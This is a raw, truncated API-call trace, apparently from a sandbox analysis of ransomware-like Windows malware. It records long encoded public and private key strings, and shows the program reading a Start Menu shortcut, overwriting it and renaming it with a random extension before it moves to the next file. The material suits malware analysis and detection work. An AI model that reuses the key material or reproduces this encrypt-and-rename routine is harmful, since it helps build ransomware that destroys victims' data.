[0132.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.164] GetCurrentThreadId () returned 0xa30 [0132.164] GetCurrentThreadId () returned 0xa30 [0132.164] GetCurrentThreadId () returned 0xa30 [0132.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.165] GetCurrentThreadId () returned 0xa30 [0132.165] GetCurrentThreadId () returned 0xa30 [0132.165] GetCurrentThreadId () returned 0xa30 [0132.165] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.166] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.166] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.166] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x4f4 [0132.166] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.166] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x4f4, lpOverlapped=0x0) returned 1 [0132.173] CloseHandle (hObject=0x1dc) returned 1 [0132.173] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.175] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4f4, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x4f4, lpOverlapped=0x0) returned 1 [0132.177] CloseHandle (hObject=0x1dc) returned 1 [0132.177] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk.zv7un")) returned 1 [0132.178] GetCurrentThreadId () returned 0xa30 [0132.178] GetCurrentThreadId () returned 0xa30 [0132.178] GetCurrentThreadId () returned 0xa30 [0132.178] GetCurrentThreadId () returned 0xa30 [0132.178] GetCurrentThreadId () returned 0xa30 [0132.178] GetCurrentThreadId () returned 0xa30 [0132.178] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ace9ee9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Easy Transfer Reports.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0132.178] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.178] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.179] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ace9ee9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x528)) returned 1 [0132.179] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk")) returned 0x20 [0132.179] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk", dwFileAttributes=0x80) returned 1 [0132.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, 